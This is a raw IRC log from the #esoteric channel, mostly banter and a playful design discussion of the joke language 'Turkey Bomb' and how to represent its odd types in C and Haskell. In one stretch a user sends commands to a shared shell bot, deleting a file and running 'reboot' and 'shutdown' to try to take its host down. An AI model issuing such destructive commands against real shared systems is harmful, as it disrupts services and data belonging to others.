:alise!unknown@unknown.invalid PRIVMSG #esoteric :hentai was. < 1267461436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so thar < 1267461444 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka, obviously you didn't read the help output < 1267461449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway, gawd, has asiekierka contributed a single worthwhile thing apart from DOBELA? < 1267461452 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :No < 1267461454 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Never < 1267461454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even then it was a huge mess until Deewiant almost rewrote it < 1267461461 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :I also contributed lameness < 1267461462 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :idiocy < 1267461465 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :laziness < 1267461470 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Have I contributed a single worthwhile thing? < 1267461473 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1267461475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hey, I also helped with it. Like pointing out some flaws early on < 1267461478 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267461479 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ sex.jpg \ share \ test.sh \ tmpdir.21507 < 1267461485 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`cat sex.jpg < 1267461485 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :This file is absolutely fake. < 1267461491 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`rm sex.jpg < 1267461491 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267461500 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Sure, you're not an idiot < 1267461500 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, iirc it was me who first made it able to do anything close to computations :P < 1267461524 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Hm, thanks < 1267461529 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, but yes Deewiant did the main fixup of DOBELA < 1267461534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, PSOX! < 1267461539 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION runs
< 1267461540 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :PSOX lol < 1267461554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pee socks < 1267461566 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: FEAR ME < 1267461571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, on what grounds? < 1267461574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: no but since when :D < 1267461575 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: he's an op < 1267461578 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You mean < 1267461583 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant did over nine thousand fixups of DOBELA < 1267461588 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :all over a few chat sessions < 1267461588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh, so he is < 1267461589 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :all lasting hours < 1267461602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lowercase chi is a pretty letter < 1267461613 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka, I haven't contradicted that have I? < 1267461619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, paste it < 1267461622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember it < 1267461625 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :χ < 1267461627 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :χ(n) < 1267461629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah that one < 1267461638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, looks like a "bendy" X here < 1267461641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267461642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267461644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it's lower < 1267461659 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, try to write lower case sigma on paper using a pencil < 1267461664 0 :nasa!~nasarudin@203.82.91.102 JOIN :#esoteric < 1267461667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267461677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, maybe not that one < 1267461686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to remember which one was the hard one
< 1267461688 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :nasa < 1267461705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it had lots of hooks in it's or such < 1267461710 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Hey, can I try `reboot < 1267461728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah, lower case xi < 1267461738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ξ that is < 1267461745 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: i'm not sure exactly when, because i wasn't told when it happened :D < 1267461751 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Can I? < 1267461753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka, have fun < 1267461754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: you weren't an op a year ago i think < 1267461757 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267461758 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run reboot < 1267461760 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267461763 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run shutdown < 1267461764 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267461766 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Rage! :( < 1267461768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, indeed. in 1998 he wasn't I bet? < 1267461771 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :fish sandwich < 1267461778 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ξ ZI < 1267461779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, since I don't think this channel was registered then < 1267461781 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :X = KAI < 1267461789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, ? < 1267461789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :--- < 1267461789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : c= < 1267461789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : c= < 1267461790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : , < 1267461791 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Good morrow. < 1267461792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :written bitch < 1267461801 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :χ(G) CHROMATIC NUMBER < 1267461807 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, doesn't look close at all < 1267461813 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, sparkly. < 1267461821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, what? < 1267461835 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: i think it's not many weeks ago < 1267461837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, I'm not aware of what that is about? < 1267461845 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :LOOK UP CHROMATIC NUMBER < 1267461851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-ChanServ- 5 oerjan +votsriRfA [modified 1 week, 2 days, 19:04:07 ago] < 1267461865 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, ah graph colouring < 1267461873 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hi nasa by the way; apologies for the offtopicness < 1267461875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: so only years and years before i'm an op then :D < 1267461879 0 :nasa!unknown@unknown.invalid QUIT :Quit: Leaving < 1267461884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TOO LATE < 1267461900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl making food < 1267461912 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :making NUDE < 1267461958 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: you'll have to develop some maturity first *duck* < 1267461961 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :thank you < 1267461971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i hear that happens around these ages < 1267462038 0 :MizardX!unknown@unknown.invalid QUIT :Quit: reboot < 1267462105 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm kidding, i'm not mature either. < 1267462112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ban me < 1267462134 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :watch youtube < 1267462143 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um that would mean finding out how this chanserv stuff actually _works_ < 1267462170 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should not be reading Station V3 right now
< 1267462172 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: you don't need to mess with chanserv that much to ban someone < 1267462175 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :/cs op #esoteric < 1267462180 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is enough to op yourself on the channel < 1267462184 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1267462186 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(or /msg chanserv if your client doesn't do /cs) < 1267462192 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then you can just use the normal commands for kicking and banning < 1267462199 0 :ChanServ!unknown@unknown.invalid MODE #esoteric :+o oerjan < 1267462200 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and deop yourself when you're finished < 1267462205 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Uh oh < 1267462211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no wait oerjan < 1267462212 0 :daef!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267462213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :/op alise < 1267462214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DO IT NOW < 1267462223 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267462227 0 :oerjan!unknown@unknown.invalid MODE #esoteric :+b *!*alise@95.145.65.* < 1267462279 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah power < 1267462284 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :PUDDING < 1267462284 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :... (more info) < 1267462355 0 :oerjan!unknown@unknown.invalid MODE #esoteric :-b *!*alise@95.145.65.* < 1267462397 0 :alise!~alise@95.145.65.10 JOIN :#esoteric < 1267462400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sexier than envelopes < 1267462409 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: heh, you weren't even on the server about 4 seconds before you joined < 1267462416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah i messed up my client a lil < 1267462431 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: can you explain the turkey bomb semantics you thought of that make it tc? < 1267462436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ooh wait < 1267462438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I can just ask cpressey! < 1267462440 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not sure I can remember < 1267462445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not that he'll have any clue :) < 1267462455 0 :oerjan!unknown@unknown.invalid MODE #esoteric :-o oerjan < 1267462457 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but basically, the bomb gets passed after each person's done with their evaluating < 1267462475 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and there are two commands that involve passing the bomb, you treat those as gotos (one forwards, one back) < 1267462497 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then, all you need is for the three-trit operation to be something like shortcircuiting maximum < 1267462502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :most of the types are actually completely useless, aren't they? < 1267462510 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and to have a defined order of evaluation for everything else < 1267462514 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and probably < 1267462524 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although you need quite a few just for usable infinite memory < 1267462525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(shortcircuiting maximum? Does that even make sense?) < 1267462533 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: yes, on numbers with a limited range < 1267462533 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION also needs to shave today :/
< 1267462543 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, it wasn't shortcircuiting maximum of all three < 1267462544 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: also, NOMENCLATURE is basically like a hash table isn't it? except of turkey bomb stuff < 1267462548 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :instead, the operation takes two at random < 1267462558 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: vaguely, except it's tied to variable names < 1267462562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right < 1267462563 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :sort of like a typeglob in Perl < 1267462567 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's useless isn't it < 1267462577 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you expect me to figure that out from memory? < 1267462582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267462590 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm not exactly sure how to define PUDDING < 1267462608 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :either in terms of everything that's in it, or in terms of everything that isn't in it < 1267462612 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you have two types of PUDDING, really < 1267462627 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :... (more info) < 1267462631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But they are indistinguishable. < 1267462633 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, you have to allow for removing AMICEDs into a pudding, that actually adds to the amount of state they have < 1267462635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They are both unknowable, and have infinite size. < 1267462641 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: what XD < 1267462649 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: AMICEDs have negative size < 1267462652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267462655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, no < 1267462657 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the only time you can use them at all is inside PUDDINGs, I think < 1267462660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er, yes < 1267462671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :are you thinking of the right pooding < 1267462675 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :a PUDDING that /doesn't/ contain a specified AMICED, therefore, contains information < 1267462686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :PUDDING!!!!! < 1267462687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Attempts to deduce the existance of a HUMIDOR in the given PUDDING. The player to the left of the player holding the TURKEY BOMB has to keep drinking continuously while the computer/referee does their deducing. < 1267462687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GARNISH PUDDING < 1267462687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Convolutes the PUDDING with recent context drawn from the program. The player holding the TURKEY BOMB must pass it off. < 1267462687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IMAGINE PUDDING, PUDDING! < 1267462687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns a NOMENCLATURE indicating all the variables unchanged between two PUDDINGs. < 1267462688 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: whichever type has the WHEREFORE AIN'T operator < 1267462688 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267462689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :are the only pudding operations < 1267462696 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so yes, wrong type < 1267462697 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: oh ofc < 1267462699 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :am I thinking HUMIDOR? < 1267462721 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it is pudding < 1267462726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the base pudding represents everything < 1267462728 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ALL BUT removes something from it < 1267462735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFORE ART EXPR < 1267462735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns a PUDDING indicating the entire metaphysical nature of EXPR. < 1267462737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No fucking idea. < 1267462741 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :nor me < 1267462757 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that operation is, at least, relatively easy to define < 1267462760 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just hard to implement < 1267462760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ooh, I know < 1267462774 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the entire metaphysical nature of an expression is the representation of that expression in the implementation < 1267462777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :embedded into turkey bomb itself < 1267462807 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :remember to have the turkey bomb be a reference to itself; that's one of the easiest things to do in the entire impl, but possible to forget about < 1267462843 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Uh, really? < 1267462854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, turkeyBomb = [turkeyBomb] suffices in Haskell, I think. < 1267462866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's a distinct value from turkeyBomb, but you can get to turkeyBomb through it. < 1267462868 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you need to also do it at the type level < 1267462876 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, it doesn't type < 1267462879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: mm < 1267462882 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, that's the issue < 1267462890 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you want a TurkeyBomb type which is a reference to a TurkeyBomb < 1267462897 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in C++, at least, you can do it with casts < 1267462897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Here's what I basically did: < 1267462918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :struct turkey_bomb { < 1267462918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : struct turkey_bomb *turkey_bomb; < 1267462918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :} turkey_bomb = {&turkey_bomb}; < 1267462927 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A struct with one element is isomorphic to just that element, so... < 1267462948 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep, that's another possibility < 1267462959 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the worst thing is that you need type tags < 1267462961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so everything has to be a struct < 1267462969 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1267462969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that helps in this case < 1267462974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if we have struct { tag foo; the real value } < 1267462979 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :how are you going to deal with the types which are smaller than a pointer? < 1267462982 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then our tagged turkey bomb isn't even relying on struct { x } isomorphing < 1267462988 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: padding, obviously < 1267463003 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, my start at a C++ impl had padding, but only where necessary < 1267463007 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the padding didn't contain values < 1267463020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm; PUDDINGs represent everything minus some things < 1267463031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so we should represent the turkey bomb universe as an infinite (uncountably so?) data structure < 1267463031 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :PUDDING < 1267463032 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I mean, if a type's defined to contain two thirds of a bit plus half a trit, you can't have it as large as 4 bytes just to stick a pointer in there < 1267463039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then turkey bomb can be the index to turkey bomb in the universe < 1267463092 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you also need to keep track of who owns the turkey bomb at any given moment, but that can be done separately < 1267463104 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(and I'm not entirely sure what to do when it explodes) < 1267463187 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a BI_IT is 1.14666... bits i think < 1267463199 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so store it as a char and use the 2 least significant bits < 1267463242 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :what's more fun is trying to combine multiple BI_ITs back into values < 1267463292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a BI_IT has a range of ~2.6696797083400683 values, apparently < 1267463302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not entirely sure what that implies, but < 1267463395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :06:42:26 and when I stepped out of the bus when I arrived, and looked back at the bus I was in < 1267463399 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :06:42:30 it said "not in traffic" < 1267463417 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :theory: it was an extra (rush hour) bus going only to your end station < 1267463447 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :happens occasionally in trondheim < 1267463464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[17:03] alise: hmm; PUDDINGs represent everything minus some things < 1267463465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[17:03] alise: so we should represent the turkey bomb universe as an infinite (uncountably so?) data structure < 1267463465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[17:03] alise: then turkey bomb can be the index to turkey bomb in the universe < 1267463469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: does ^ sound promising to you? < 1267463501 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267463521 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In the drinking game, whenever an INDECENT GRUBSTEAK is involved in an expression, everyone starts chanting "BANG BANG BANG!!!" until the player holding the TURKEY BOMB either finishes their drink and starts another, or falls down (in which case someone who hasn't been playing should take him or her home). < 1267463525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this is like forcing evaluation isn't it? < 1267463529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :finishing drink = totally evaluating < 1267463535 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :falls down = fails somehow < 1267463541 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :BANG BANG BANG!!! is, I don't know, outpu < 1267463542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :t < 1267463621 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :THIS IS NOT COPYRIGHT INFRIGNEMENT, IT WAS MADE BY PEOPLE < 1267463621 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :... (more info) < 1267463687 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with negative amiced ... I wonder if typeOf (NEGATIVE_AMICED ...) = AMICED or NEGATIVE_AMICED; it doesn't really matter except for size < 1267463699 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and for size we want to consider the size if it were an AMICED; i.e. the negated size of the NEGATIVE_AMICED < 1267463709 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ooooooooooo < 1267463729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :GRUBSTEAK < 1267463729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A fraction whose numerator is a perfect square and whose denominator is a prime number. < 1267463730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No bigger than necessary. < 1267463730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IMPROPER GRUBSTEAK < 1267463730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A GRUBSTEAK whose denominator is less than the square root of the numerator. < 1267463730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Same as GRUBSTEAK. < 1267463754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: the former seems to suggest we need a dynamic representation of grubsteaks. and are grubsteaks that satisfy the improper condition improper grubsteaks? so really improper is just a property of grubsteaks... < 1267463770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :indecent grubsteaks are totally different though < 1267463772 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes, I think so to < 1267463810 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*too < 1267463884 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then I will have types GRUBSTEAK and IMPROPER_GRUBSTEAK, and have typeOf decide based on the contents of the GRUBSTEAK value < 1267463983 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders if WITH GUSTO is a different type
< 1267463990 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the size is different and all the operations must be different < 1267463992 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so yes, I think < 1267464194 0 :Deewiant!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267464287 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to think of how to represent 1 and 2/3rds of a bit
< 1267464298 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267464299 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.22864 < 1267464307 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What happened to the porn? < 1267464308 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267464319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I demand you think of a representation! < 1267464359 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I just used a separate bit for the bit and the trit part, but I think that's cheating; it does give the right values if you ignore the fractional bits of padding, though < 1267464360 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: polish censorship < 1267464365 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :You mean the tri-F < 1267464371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Those bits of padding are important! < 1267464374 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(the fractional bits of padding show up as various /combinations/ of bi_its leading to weird results) < 1267464375 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Take a wild guess what it means < 1267464392 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Family Friendly F*cking? < 1267464397 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Close < 1267464398 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :Family Friendly Filter < 1267464402 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :But both work just as well < 1267464443 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Fucking Friendly Families For Fun < 1267464452 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1267464562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :newtype FiveOverThreeBits = FiveOverThreeBits Int < 1267464562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WFM < 1267464605 0 :MissPiggy!unknown@unknown.invalid 